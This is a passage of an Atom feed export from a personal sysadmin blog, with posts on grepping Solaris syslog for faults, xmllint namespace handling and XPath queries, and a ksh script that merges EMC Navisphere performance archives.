src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-328DZlG1xJk/TWkDREnU4GI/AAAAAAAAAnM/QqOTaelpnJA/s72-c/model4maths-lulu.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-6412363501354740958</id><published>2011-02-22T08:49:00.006+08:00</published><updated>2011-02-22T11:12:32.696+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='syslog'/><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>Syslog Messages, Take 2</title><content type='html'>Recently I have been helping my colleague to analyse data from Sun Solaris explorer (SUNWexplo) files and this required to parse through a lot of the /var/adm/messages generated by the system. Certain keywords are searched for possible system fault
&lt;pre&gt;
perl -n -e 'print if /\b(bad|failed|critical|crash|down|offline|unavailable|fatal|panic)\b/i'
&lt;/pre&gt;
&lt;p&gt;
I managed to locate a few more important syslog messages and updated my &lt;a href="http://chihungchan.blogspot.com/2010/05/sample-critical-syslog.html"&gt;previous blog on sample syslog&lt;/a&gt; accordingly.
&lt;p&gt;
While I am doing the final touch-up on my scripts, I found &lt;a href="http://download.oracle.com/docs/cd/E19455-01/806-1075/6jacsnim9/index.html"&gt;Solaris Common Messages and Troubleshooting Guide&lt;/a&gt; and &lt;a href="http://adminschoice.com/category/error-messages"&gt;Archive of Error Messages&lt;/a&gt; particular useful.
&lt;p&gt;
It would be wonderful if all our field engineers can help to consolidate all those messages related to incident. These information plus a central syslog server with real-time monitoring &amp; alerting capability can help customer to effectively monitor all their servers. I believe this will help to differentiate us from our competitors.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-6412363501354740958?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/6412363501354740958/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=6412363501354740958' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/6412363501354740958'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/6412363501354740958'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2011/02/syslog-messages-take-2.html' title='Syslog Messages, Take 2'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-8075106607401385916</id><published>2011-01-23T22:42:00.001+08:00</published><updated>2011-01-23T22:45:53.471+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HPC'/><title type='text'>Building a High Performance Cluster with Amazon Web Services</title><content type='html'>Watch this video to see how easy to build a HPC cluster with Amazon EC2

&lt;iframe title="YouTube video player" class="youtube-player" type="text/html" width="480" height="390" src="http://www.youtube.com/embed/5zBxl6HUFA4" frameborder="0" allowFullScreen&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-8075106607401385916?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/8075106607401385916/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=8075106607401385916' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/8075106607401385916'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/8075106607401385916'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2011/01/building-high-performance-cluster-with.html' title='Building a High Performance Cluster with Amazon Web Services'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://img.youtube.com/vi/5zBxl6HUFA4/default.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-8087614713701288758</id><published>2011-01-15T00:05:00.002+08:00</published><updated>2011-01-15T00:11:38.574+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='XML'/><title type='text'>xmllint for XML Namspace</title><content type='html'>With &lt;a href="http://en.wikipedia.org/wiki/XML_namespace"&gt;XML namespace&lt;/a&gt;, &lt;a href="http://xmlsoft.org/xmllint.html"&gt;xmllint&lt;/a&gt; is not able to traverse it simply using the XML tags. There is not much examples on the Internet showing how xmllint handle XML with namespace and this blog serves to fill this gap. Let's try xmllint with this &lt;a href="http://msdn.microsoft.com/en-us/library/bb943902%28VS.90%29.aspx"&gt;sample XML file&lt;/a&gt;
&lt;pre&gt;
$ cat ns.xml
&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;
&amp;lt;Tests xmlns=&amp;quot;http://www.adatum.com&amp;quot;&amp;gt;
  &amp;lt;Test TestId=&amp;quot;0001&amp;quot; TestType=&amp;quot;CMD&amp;quot;&amp;gt;
    &amp;lt;Name&amp;gt;Convert number to string&amp;lt;/Name&amp;gt;
    &amp;lt;CommandLine&amp;gt;Examp1.EXE&amp;lt;/CommandLine&amp;gt;
    &amp;lt;Input&amp;gt;1&amp;lt;/Input&amp;gt;
    &amp;lt;Output&amp;gt;One&amp;lt;/Output&amp;gt;
  &amp;lt;/Test&amp;gt;
  &amp;lt;Test TestId=&amp;quot;0002&amp;quot; TestType=&amp;quot;CMD&amp;quot;&amp;gt;
    &amp;lt;Name&amp;gt;Find succeeding characters&amp;lt;/Name&amp;gt;
    &amp;lt;CommandLine&amp;gt;Examp2.EXE&amp;lt;/CommandLine&amp;gt;
    &amp;lt;Input&amp;gt;abc&amp;lt;/Input&amp;gt;
    &amp;lt;Output&amp;gt;def&amp;lt;/Output&amp;gt;
  &amp;lt;/Test&amp;gt;
  &amp;lt;Test TestId=&amp;quot;0003&amp;quot; TestType=&amp;quot;GUI&amp;quot;&amp;gt;
    &amp;lt;Name&amp;gt;Convert multiple numbers to strings&amp;lt;/Name&amp;gt;
    &amp;lt;CommandLine&amp;gt;Examp2.EXE /Verbose&amp;lt;/CommandLine&amp;gt;
    &amp;lt;Input&amp;gt;123&amp;lt;/Input&amp;gt;
    &amp;lt;Output&amp;gt;One Two Three&amp;lt;/Output&amp;gt;
  &amp;lt;/Test&amp;gt;
  &amp;lt;Test TestId=&amp;quot;0004&amp;quot; TestType=&amp;quot;GUI&amp;quot;&amp;gt;
    &amp;lt;Name&amp;gt;Find correlated key&amp;lt;/Name&amp;gt;
    &amp;lt;CommandLine&amp;gt;Examp3.EXE&amp;lt;/CommandLine&amp;gt;
    &amp;lt;Input&amp;gt;a1&amp;lt;/Input&amp;gt;
    &amp;lt;Output&amp;gt;b1&amp;lt;/Output&amp;gt;
  &amp;lt;/Test&amp;gt;
  &amp;lt;Test TestId=&amp;quot;0005&amp;quot; TestType=&amp;quot;GUI&amp;quot;&amp;gt;
    &amp;lt;Name&amp;gt;Count characters&amp;lt;/Name&amp;gt;
    &amp;lt;CommandLine&amp;gt;FinalExamp.EXE&amp;lt;/CommandLine&amp;gt;
    &amp;lt;Input&amp;gt;This is a test&amp;lt;/Input&amp;gt;
    &amp;lt;Output&amp;gt;14&amp;lt;/Output&amp;gt;
  &amp;lt;/Test&amp;gt;
  &amp;lt;Test TestId=&amp;quot;0006&amp;quot; TestType=&amp;quot;GUI&amp;quot;&amp;gt;
    &amp;lt;Name&amp;gt;Another Test&amp;lt;/Name&amp;gt;
    &amp;lt;CommandLine&amp;gt;Examp2.EXE&amp;lt;/CommandLine&amp;gt;
    &amp;lt;Input&amp;gt;Test Input&amp;lt;/Input&amp;gt;
    &amp;lt;Output&amp;gt;10&amp;lt;/Output&amp;gt;
  &amp;lt;/Test&amp;gt;
&amp;lt;/Tests&amp;gt;

$ xmllint --shell ns.xml
/ &amp;gt; cd Tests
Tests is a 0 Node Set
/ &amp;gt;
&lt;/pre&gt;
&lt;p&gt;
In order to traverse XML file with namespace defined, you need to set it with a prefix.
&lt;pre&gt;
$ head -2 ns.xml
&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;
&amp;lt;Tests xmlns=&amp;quot;http://www.adatum.com&amp;quot;&amp;gt;

$ xmllint --shell ns.xml
/ &amp;gt; setns a=http://www.adatum.com
/ &amp;gt; cd a:Tests
Tests &amp;gt; cd a:Test
a:Test is a 6 Node Set
Tests &amp;gt; cd a:Test[3]
Test &amp;gt; dir
ELEMENT Test
  ATTRIBUTE TestId
    TEXT
      content=0003
  ATTRIBUTE TestType
    TEXT
      content=GUI
Test &amp;gt; cat
&amp;lt;Test TestId=&amp;quot;0003&amp;quot; TestType=&amp;quot;GUI&amp;quot;&amp;gt;
    &amp;lt;Name&amp;gt;Convert multiple numbers to strings&amp;lt;/Name&amp;gt;
    &amp;lt;CommandLine&amp;gt;Examp2.EXE /Verbose&amp;lt;/CommandLine&amp;gt;
    &amp;lt;Input&amp;gt;123&amp;lt;/Input&amp;gt;
    &amp;lt;Output&amp;gt;One Two Three&amp;lt;/Output&amp;gt;
  &amp;lt;/Test&amp;gt;
Test &amp;gt;
&lt;/pre&gt;
&lt;p&gt;
If you have more than 1 namespace to work with, just set it with a different prefix name. You do not have to use the same namespace declaration mapping.
&lt;pre&gt;
$ cat ns2.xml
&amp;lt;h:html xmlns:xdc=&amp;quot;http://www.xml.com/books&amp;quot;
        xmlns:h=&amp;quot;http://www.w3.org/HTML/1998/html4&amp;quot;&amp;gt;
 &amp;lt;h:head&amp;gt;&amp;lt;h:title&amp;gt;Book Review&amp;lt;/h:title&amp;gt;&amp;lt;/h:head&amp;gt;
 &amp;lt;h:body&amp;gt;
  &amp;lt;xdc:bookreview&amp;gt;
   &amp;lt;xdc:title&amp;gt;XML: A Primer&amp;lt;/xdc:title&amp;gt;
   &amp;lt;h:table&amp;gt;
    &amp;lt;h:tr align=&amp;quot;center&amp;quot;&amp;gt;
     &amp;lt;h:td&amp;gt;Author&amp;lt;/h:td&amp;gt;&amp;lt;h:td&amp;gt;Price&amp;lt;/h:td&amp;gt;
     &amp;lt;h:td&amp;gt;Pages&amp;lt;/h:td&amp;gt;&amp;lt;h:td&amp;gt;Date&amp;lt;/h:td&amp;gt;&amp;lt;/h:tr&amp;gt;
    &amp;lt;h:tr align=&amp;quot;left&amp;quot;&amp;gt;
     &amp;lt;h:td&amp;gt;&amp;lt;xdc:author&amp;gt;Simon St. Laurent&amp;lt;/xdc:author&amp;gt;&amp;lt;/h:td&amp;gt;
     &amp;lt;h:td&amp;gt;&amp;lt;xdc:price&amp;gt;31.98&amp;lt;/xdc:price&amp;gt;&amp;lt;/h:td&amp;gt;
     &amp;lt;h:td&amp;gt;&amp;lt;xdc:pages&amp;gt;352&amp;lt;/xdc:pages&amp;gt;&amp;lt;/h:td&amp;gt;
     &amp;lt;h:td&amp;gt;&amp;lt;xdc:date&amp;gt;1998/01&amp;lt;/xdc:date&amp;gt;&amp;lt;/h:td&amp;gt;
    &amp;lt;/h:tr&amp;gt;
   &amp;lt;/h:table&amp;gt;
  &amp;lt;/xdc:bookreview&amp;gt;
 &amp;lt;/h:body&amp;gt;
&amp;lt;/h:html&amp;gt;


$ xmllint --shell ns2.xml
/ &amp;gt; cd h:html
h:html is a 0 Node Set
/ &amp;gt; setns h=http://www.w3.org/HTML/1998/html4
/ &amp;gt; setns xdc=http://www.xml.com/books
/ &amp;gt; cd h:html/h:body/xdc:bookreview/xdc:title
title &amp;gt; cat
&amp;lt;xdc:title&amp;gt;XML: A Primer&amp;lt;/xdc:title&amp;gt;
title &amp;gt; 
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-8087614713701288758?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/8087614713701288758/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=8087614713701288758' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/8087614713701288758'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/8087614713701288758'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2011/01/xmllint-for-xml-namspace.html' title='xmllint for XML Namspace'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-9198147512659757812</id><published>2011-01-07T22:41:00.009+08:00</published><updated>2011-01-16T18:10:53.965+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='xpath'/><category scheme='http://www.blogger.com/atom/ns#' term='XML'/><title type='text'>xmllint - Answer to an XML Question</title><content type='html'>Today I was asked about how I can validate or check the well-formness of XML file. My immediate answers were using a browser to view the malformed XML and the second answer was to parse it using &lt;a href="http://wiki.tcl.tk/1948"&gt;tdom&lt;/a&gt;. At that time, &lt;a href="http://xmlsoft.org/xmllint.html"&gt;xmllint&lt;/a&gt; wasn't in my mind. 'cos I seldom use it.
&lt;p&gt;
After some thoughts, I think I should validate my anwser. I downloaded a pretty sizeable XML file from &lt;a href="http://www.dbis.informatik.uni-goettingen.de/Mondial/"&gt;Mondial&lt;/a&gt; project for my test. I deliberately removed one of the closing tags to make it not well-formed. Both tdom and Firefox are not able to identify the exact location of the missing closing tag. It is only xmllint is able to pinpoint the location
&lt;pre&gt;
$ diff mondial.xml mondial-malformed.xml 
16819d16818
&amp;lt;    &amp;lt;/country&amp;gt;


$ firefox mondial-malformed.xml

Firefox
XML Parsing Error: mismatched tag. Expected: &amp;lt;/country&amp;gt;.
Location: file:///home/chihung/Projects/xmllint/mondial-malformed.xml
Line Number 39564, Column 3:&amp;lt;/mondial&amp;gt;
--^


$ tclsh
% package require tdom
0.8.3
% set doc [dom parse [tDOM::xmlReadFile mondial-malformed.xml]]
error "mismatched tag" at line 39564 character 2
"ude&amp;gt;
   &amp;lt;/desert&amp;gt;
&amp;lt;/m &amp;lt;--Error-- ondial&amp;gt;
"


$ xmllint --shell mondial-malformed.xml 
mondial-malformed.xml:39564: parser error : Opening and ending tag mismatch: country line 16795 and mondial
&amp;lt;/mondial&amp;gt;
          ^
mondial-malformed.xml:39565: parser error : Premature end of data in tag mondial line 3

^
&lt;/pre&gt;

&lt;p&gt;
OK, xmllint is sure the winner in this exercise. Below shows xmllint in action:
&lt;pre&gt;
$ xmllint --shell mondial.xml 
/ &amp;gt; help
 base         display XML base of the node
 setbase URI  change the XML base of the node
 bye          leave shell
 cat [node]   display node or current node
 cd [path]    change directory to path or to root
 dir [path]   dumps informations about the node (namespace, attributes, content)
 du [path]    show the structure of the subtree under path or the current node
 exit         leave shell
 help         display this help
 free         display memory usage
 load [name]  load a new document with name
 ls [path]    list contents of path or the current directory
 set xml_fragment replace the current node content with the fragment parsed in context
 xpath expr   evaluate the XPath expression in that context and print the result
 setns nsreg  register a namespace to a prefix in the XPath evaluation context
              format for nsreg is: prefix=[nsuri] (i.e. prefix= unsets a prefix)
 setrootns    register all namespace found on the root element
              the default namespace if any uses 'defaultns' prefix
 pwd          display current working directory
 quit         leave shell
 save [name]  save this document to name or the original name
 write [name] write the current node to the filename
 validate     check the document for errors
 relaxng rng  validate the document agaisnt the Relax-NG schemas
 grep string  search for a string in the subtree

/ &amp;gt; validate
mondial.xml:35144: element island: validity error : Syntax of value for attribute sea of island is not valid
validity error : attribute sea line 35144 references an unknown ID ""

/ &amp;gt; base
mondial.xml

/ &amp;gt; dir
DOCUMENT
version=1.0
encoding=UTF-8
URL=mondial.xml
standalone=true

/ &amp;gt; grep Singapore
/mondial/country[105]/name : t--        9 Singapore
/mondial/country[105]/city/name : t--        9 Singapore
/mondial/island[163]/name : t--        9 Singapore

/ &amp;gt; cd /mondial/country[105]

country &amp;gt; cat
&amp;lt;country car_code="SGP" area="632.6" capital="cty-Singapore-Singapore" memberships="org-AsDB org-ASEAN org-Mekong-Group org-CP org-C org-CCC org-ESCAP org-G-77 org-IAEA org-IBRD org-ICC org-ICAO org-ICFTU org-Interpol org-IFRCS org-IFC org-ILO org-IMO org-Inmarsat org-IMF org-IOC org-ISO org-ICRM org-ITU org-Intelsat org-NAM org-PCA org-UN org-UNIKOM org-UPU org-WHO org-WIPO org-WMO org-WTrO"&amp;gt;
      &amp;lt;name&amp;gt;Singapore&amp;lt;/name&amp;gt;
      &amp;lt;population&amp;gt;3396924&amp;lt;/population&amp;gt;
      &amp;lt;population_growth&amp;gt;1.9&amp;lt;/population_growth&amp;gt;
      &amp;lt;infant_mortality&amp;gt;4.7&amp;lt;/infant_mortality&amp;gt;
      &amp;lt;gdp_total&amp;gt;66100&amp;lt;/gdp_total&amp;gt;
      &amp;lt;gdp_ind&amp;gt;28&amp;lt;/gdp_ind&amp;gt;
      &amp;lt;gdp_serv&amp;gt;72&amp;lt;/gdp_serv&amp;gt;
      &amp;lt;inflation&amp;gt;1.7&amp;lt;/inflation&amp;gt;
      &amp;lt;indep_date&amp;gt;1965-08-09&amp;lt;/indep_date&amp;gt;
      &amp;lt;government&amp;gt;republic within Commonwealth&amp;lt;/government&amp;gt;
      &amp;lt;encompassed continent="asia" percentage="100"/&amp;gt;
      &amp;lt;ethnicgroups percentage="6.4"&amp;gt;Indian&amp;lt;/ethnicgroups&amp;gt;
      &amp;lt;ethnicgroups percentage="76.4"&amp;gt;Chinese&amp;lt;/ethnicgroups&amp;gt;
      &amp;lt;ethnicgroups percentage="14.9"&amp;gt;Malay&amp;lt;/ethnicgroups&amp;gt;
      &amp;lt;city id="cty-Singapore-Singapore" is_country_cap="yes" country="SGP"&amp;gt;
         &amp;lt;name&amp;gt;Singapore&amp;lt;/name&amp;gt;
         &amp;lt;longitude&amp;gt;103.833&amp;lt;/longitude&amp;gt;
         &amp;lt;latitude&amp;gt;1.3&amp;lt;/latitude&amp;gt;
         &amp;lt;population year="87"&amp;gt;2558000&amp;lt;/population&amp;gt;
         &amp;lt;located_at watertype="sea" sea="sea-SouthChinaSea"/&amp;gt;
         &amp;lt;located_on island="island-Singapore"/&amp;gt;
      &amp;lt;/city&amp;gt;
   &amp;lt;/country&amp;gt;
&lt;/pre&gt;
&lt;p&gt;
Finding countries with infant_mortality less than Singapore. 
&lt;pre&gt;
country &amp;gt; xpath //country[infant_mortality&amp;lt;4.7]/name/text()
Object is a Node Set :
Set contains 9 nodes:
1  TEXT
    content=Andorra
2  TEXT
    content=Sweden
3  TEXT
    content=Iceland
4  TEXT
    content=Jersey
5  TEXT
    content=Man
6  TEXT
    content=Hong Kong
7  TEXT
    content=Japan
8  TEXT
    content=Anguilla
9  TEXT
    content=Bermuda

country &amp;gt; quit
&lt;/pre&gt;
&lt;p&gt;
This can be turned into command line too.
&lt;pre&gt;
$ xmllint --xpath '//country[infant_mortality&amp;lt;4.7]/name' --format mondial.xml 
&amp;lt;name&amp;gt;Andorra&amp;lt;/name&amp;gt;&amp;lt;name&amp;gt;Sweden&amp;lt;/name&amp;gt;&amp;lt;name&amp;gt;Iceland&amp;lt;/name&amp;gt;&amp;lt;name&amp;gt;Jersey&amp;lt;/name&amp;gt;&amp;lt;name&amp;gt;Man&amp;lt;/name&amp;gt;&amp;lt;name&amp;gt;Hong Kong&amp;lt;/name&amp;gt;&amp;lt;name&amp;gt;Japan&amp;lt;/name&amp;gt;&amp;lt;name&amp;gt;Anguilla&amp;lt;/name&amp;gt;&amp;lt;name&amp;gt;Bermuda&amp;lt;/name&amp;gt;

real 0m0.219s
user 0m0.192s
sys 0m0.020s
&lt;/pre&gt;
&lt;p&gt;
Alternatively, you can do the above dynamically:
&lt;pre&gt;
$ xmllint --shell mondial.xml
/ &amp;gt; xpath //country[infant_mortality&amp;lt//country[name="Singapore"]/infant_mortality]/name/text()
Object is a Node Set :
Set contains 9 nodes:
1  TEXT
    content=Andorra
2  TEXT
    conte;nt=Sweden
3  TEXT
    content=Iceland
4  TEXT
    content=Jersey
5  TEXT
    content=Man
6  TEXT
    content=Hong Kong
7  TEXT
    content=Japan
8  TEXT
    content=Anguilla
9  TEXT
    content=Bermuda

$ time xmllint --xpath '//country[infant_mortality&amp;lt;//country[name="Singapore"]/infant_mortality]/name' --format mondial.xml 
&amp;lt;name&amp;gt;Andorra&amp;lt;/name&amp;gt;&amp;lt;name&amp;gt;Sweden&amp;lt;/name&amp;gt;&amp;lt;name&amp;gt;Iceland&amp;lt;/name&amp;gt;&amp;lt;name&amp;gt;Jersey&amp;lt;/name&amp;gt;&amp;lt;name&amp;gt;Man&amp;lt;/name&amp;gt;&amp;lt;name&amp;gt;Hong Kong&amp;lt;/name&amp;gt;&amp;lt;name&amp;gt;Japan&amp;lt;/name&amp;gt;&amp;lt;name&amp;gt;Anguilla&amp;lt;/name&amp;gt;&amp;lt;name&amp;gt;Bermuda&amp;lt;/name&amp;gt;
real 0m2.074s
user 0m2.052s
sys 0m0.016s
&lt;/pre&gt;
&lt;p&gt;
xmllint is definitely the preferred XML companion. It is extremely fast and efficient comparing with Firefox and tdom.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-9198147512659757812?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/9198147512659757812/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=9198147512659757812' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/9198147512659757812'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/9198147512659757812'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2011/01/xmlint.html' title='xmllint - Answer to an XML Question'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-8334588723710614807</id><published>2010-12-24T08:17:00.002+08:00</published><updated>2010-12-24T08:33:19.043+08:00</updated><title type='text'>Overloading My Age, Part 2</title><content type='html'>2 years ago, I &lt;a href="http://chihungchan.blogspot.com/2008/11/overloading.html"&gt;posted&lt;/a&gt; about I would be 30 this year. Time flies.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-8334588723710614807?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/8334588723710614807/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=8334588723710614807' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/8334588723710614807'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/8334588723710614807'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/12/overloading-my-age-part-2.html' title='Overloading My Age, Part 2'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-422087019018163641</id><published>2010-11-20T13:52:00.002+08:00</published><updated>2010-11-20T13:56:11.314+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><category scheme='http://www.blogger.com/atom/ns#' term='DTrace'/><title type='text'>DTrace BoF at LISA10</title><content type='html'>Interested in DTrace ? If so, you have to watch these &lt;a href="http://blogs.sun.com/video/entry/dtrace_bof_at_lisa10"&gt;videos&lt;/a&gt; and see how smart &lt;a href="http://www.brendangregg.com/"&gt;Brendan Gregg&lt;/a&gt; used mdb and dtrace to hack those TCP DTrace scripts without looking at the kernel source code.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-422087019018163641?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/422087019018163641/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=422087019018163641' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/422087019018163641'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/422087019018163641'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/11/dtrace-bof-at-lisa10.html' title='DTrace BoF at LISA10'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-8927130104052305340</id><published>2010-11-01T20:25:00.002+08:00</published><updated>2010-11-01T20:25:47.043+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><title type='text'>Merger of the Merger</title><content type='html'>I was given 50+ EMC Navisphere performance data and asked to merge them into a single data file for Navisphere to import. The bad news is the existing EMC Navisphere Analyzer Command Line Interface (naviseccli) can only allow to merge 2 files at a time. &lt;br&gt;
&lt;code&gt;naviseccli analyzer -archivemerge -data archive1 archive2 [-out outputarchive] [-overwrite y|n]&lt;/code&gt;
&lt;p&gt;
Working with this limitation, I developed a merger shell to merge all these performance data. Assuming you have the following performance files with timestamp builtin in the filename, my approach is to generate the 1st merger file based on the first two files. After that, I will loop through the rest (starting from the 3rd file) of them together with the merger file to form a new archive. You will need to have a temporary file to house the intermediate archive and swap it before the next loop.
&lt;pre&gt;
# ls -1
CKM12345678901_SPA_2010-10-24_17-00-41-GMT_P08-00.nar
CKM12345678901_SPA_2010-10-24_19-00-41-GMT_P08-00.nar
CKM12345678901_SPA_2010-10-24_21-00-41-GMT_P08-00.nar
CKM12345678901_SPA_2010-10-26_20-00-55-GMT_P08-00.nar
...
CKM12345678901_SPA_2010-10-29_10-00-46-GMT_P08-00.nar
CKM12345678901_SPA_2010-10-29_12-00-46-GMT_P08-00.nar
CKM12345678901_SPA_2010-10-29_14-00-47-GMT_P08-00.nar
CKM12345678901_SPA_2010-10-29_16-00-46-GMT_P08-00.nar
CKM12345678901_SPA_2010-10-29_18-00-46-GMT_P08-00.nar
&lt;/pre&gt;
&lt;p&gt;
Here is the merger.sh script
&lt;pre&gt;
#! /bin/ksh


if [ $# -ne 1 ]; then
        echo "Usage: $0 &amp;lt;mergefile&amp;gt;"
        exit 1
fi
mergefile="$1"
if [ -f $mergefile ]; then
        echo "Error. $file already exist"
        exit 2
fi


export PATH=/opt/Navisphere/bin:/usr/bin:/bin:/usr/sbin:/usr/local/bin
export LD_LIBRARY_PATH=/opt/Navisphere/lib:/usr/lib:/lib:/usr/local/lib


tmpls=`mktemp`
tmpmerge=`mktemp`


ls -1 CKM*.nar &gt; $tmpls


#
# do the first 2 files
#
file1=`head -1 $tmpls`
file2=`head -2 $tmpls | tail -1`
echo "Processing $file1 $file2 ... \c"
naviseccli analyzer -archivemerge -data $file1 $file2 -out $mergefile
echo "Completed."


#
# do the rest of the files
#
awk 'NR&gt;2&amp;&amp;NR&lt;=10' $tmpls | while read fileN
do
        echo "Processing $fileN ... \c"
        naviseccli analyzer -archivemerge -data $mergefile $fileN -out $tmpmerge
        mv $tmpmerge $mergefile
        echo "Completed."
done


rm -f $tmpls $tmpmerge
&lt;/pre&gt;
&lt;p&gt;
See merger.sh in action:
&lt;pre&gt;
# ./merger.sh new.nar
Processing CKM12345678901_SPA_2010-10-24_17-00-41-GMT_P08-00.nar CKM12345678901_SPA_2010-10-24_19-00-41-GMT_P08-00.nar ... Completed merging archives.
Completed.
Processing CKM12345678901_SPA_2010-10-24_21-00-41-GMT_P08-00.nar ... Completed merging archives.
Completed.
Processing CKM12345678901_SPA_2010-10-26_20-00-55-GMT_P08-00.nar ... Completed merging archives.
Completed.
...
Processing CKM12345678901_SPA_2010-10-29_10-00-46-GMT_P08-00.nar ... Completed merging archives.
Completed.
Processing CKM12345678901_SPA_2010-10-29_12-00-46-GMT_P08-00.nar ... Completed merging archives.
Completed.
Processing CKM12345678901_SPA_2010-10-29_14-00-47-GMT_P08-00.nar ... Completed merging archives.
Completed.
Processing CKM12345678901_SPA_2010-10-29_16-00-46-GMT_P08-00.nar ... Completed merging archives.
Completed.
Processing CKM12345678901_SPA_2010-10-29_18-00-46-GMT_P08-00.nar ... Completed merging archives.
